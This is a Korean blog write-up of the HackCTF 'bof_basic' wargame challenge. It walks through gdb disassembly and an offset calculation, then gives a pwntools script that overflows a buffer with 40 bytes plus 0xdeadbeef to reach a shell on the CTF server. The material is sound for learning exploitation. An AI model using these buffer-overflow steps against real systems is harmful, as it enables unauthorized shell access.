오늘은 bof_basic 1을 풀어볼 것이다.
먼저 실행을 해보자.
위처럼 실행된다.
그런데 A를 위보다 더 많이 넣었더니 check가 0x41414141(A는 hex로 41)로 바뀌었다.
내 예상으로는 return address가 check인 것 같다.
그럼 먼저 main을 디스어셈블 해보자
(gdb) disas main
Dump of assembler code for function main:
0x080484cb <+0>: lea ecx,[esp+0x4]
0x080484cf <+4>: and esp,0xfffffff0
0x080484d2 <+7>: push DWORD PTR [ecx-0x4]
0x080484d5 <+10>: push ebp
0x080484d6 <+11>: mov ebp,esp
0x080484d8 <+13>: push ecx
0x080484d9 <+14>: sub esp,0x34
0x080484dc <+17>: mov DWORD PTR [ebp-0xc],0x4030201
0x080484e3 <+24>: mov eax,ds:0x804a040
0x080484e8 <+29>: sub esp,0x4
0x080484eb <+32>: push eax
0x080484ec <+33>: push 0x2d
0x080484ee <+35>: lea eax,[ebp-0x34]
0x080484f1 <+38>: push eax
0x080484f2 <+39>: call 0x8048380 <fgets@plt>
0x080484f7 <+44>: add esp,0x10
0x080484fa <+47>: sub esp,0x8
0x080484fd <+50>: lea eax,[ebp-0x34]
0x08048500 <+53>: push eax
0x08048501 <+54>: push 0x8048610
0x08048506 <+59>: call 0x8048370 <printf@plt>
0x0804850b <+64>: add esp,0x10
0x0804850e <+67>: sub esp,0x8
0x08048511 <+70>: push DWORD PTR [ebp-0xc]
0x08048514 <+73>: push 0x804861c
0x08048519 <+78>: call 0x8048370 <printf@plt>
0x0804851e <+83>: add esp,0x10
0x08048521 <+86>: cmp DWORD PTR [ebp-0xc],0x4030201
0x08048528 <+93>: je 0x8048543 <main+120>
0x0804852a <+95>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x08048531 <+102>: je 0x8048543 <main+120>
0x08048533 <+104>: sub esp,0xc
0x08048536 <+107>: push 0x8048628
0x0804853b <+112>: call 0x8048390 <puts@plt>
0x08048540 <+117>: add esp,0x10
0x08048543 <+120>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
---Type <return> to continue, or q <return> to quit---
0x0804854a <+127>: jne 0x804857c <main+177>
0x0804854c <+129>: sub esp,0xc
0x0804854f <+132>: push 0x8048644
0x08048554 <+137>: call 0x8048390 <puts@plt>
0x08048559 <+142>: add esp,0x10
0x0804855c <+145>: sub esp,0xc
0x0804855f <+148>: push 0x804866e
0x08048564 <+153>: call 0x80483a0 <system@plt>
0x08048569 <+158>: add esp,0x10
0x0804856c <+161>: sub esp,0xc
0x0804856f <+164>: push 0x8048678
0x08048574 <+169>: call 0x8048390 <puts@plt>
0x08048579 <+174>: add esp,0x10
0x0804857c <+177>: mov eax,0x0
0x08048581 <+182>: mov ecx,DWORD PTR [ebp-0x4]
0x08048584 <+185>: leave
0x08048585 <+186>: lea esp,[ecx-0x4]
0x08048588 <+189>: ret
End of assembler dump.
중간에 fgets로 받는다. 그런데 중간에 system call을 한다.
보기 어려우니깐 ida로 살펴보자.
그 system콜은 쉘을 실행하는 것이다.
그리고 0x0804543에서 ebp+var_C랑 0xDEADBEEF랑 비교한다.
0x08048511을 보면 check가 ebp+var_C의 hex를 보여준다.
그러면 먼저 buf가 들어가는 주소와 ebp+var_C의 주소를 확인해보자.
1. buf address
먼저 fgets부분에 브레이크를 걸고 실행한다. 그리고 아래의 명령어로 buf 시작 주소를 확인한다.
(gdb) b *0x080484f2
Breakpoint 1 at 0x80484f2
(gdb) r
Starting program: /home/psj/hackctf/bb/bof_basic
Breakpoint 1, 0x080484f2 in main ()
(gdb) i r esp
esp 0xffffcfd0 0xffffcfd0
(gdb) x/2wx 0xffffcfd0
0xffffcfd0: 0xffffcfe4 0x0000002d
0xffffcfe4부터 들어가는 걸 확인할 수 있다.
2. ebp+var_C address
ida말고 맨 위쪽에 gdb를 보면 ebp+var_C가 아닌 ebp-0xc라고 되어있다.
그러면 p를 이용해서 구할 수 있다.
(gdb) r
Starting program: /home/psj/hackctf/bb/bof_basic
Breakpoint 1, 0x080484f2 in main ()
(gdb) p/x $ebp-0xc
$2 = 0xffffd00c
0xffffd00c가 ebp-0xc이다.
이제 buf 시작주소부터 ebp-0xc까지 얼마의 바이트가 필요한지 구해보자.
(gdb) p/d 0xffffd00c-0xffffcfe4
$3 = 40
40바이트가 필요하다.
그러면 nop(\x90)을 40바이트를 넣고 0xdeadbeef를 넣으면 쉘을 딸 수 있을 것이다.
이제 exploit code를 짜 보자.
from pwn import *
#p = process("./bof_basic")
p = remote("ctf.j0n9hyun.xyz",3000)
payload = b"\x90"*40
payload += p32(0xdeadbeef)
p.send(payload)
p.interactive()
위처럼 짜고 실행을 해보자.
쉘 획득에 성공했다!!
'워게임' 카테고리의 다른 글
Dreamhack - basic_exploitation_002 (0) | 2021.07.28 |
---|---|
HackCTF - ROP (0) | 2021.07.27 |
Shellcode(쉘코드) 모음 (0) | 2021.07.27 |
HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.27 |
HackCTF - BOF_PIE (0) | 2021.07.27 |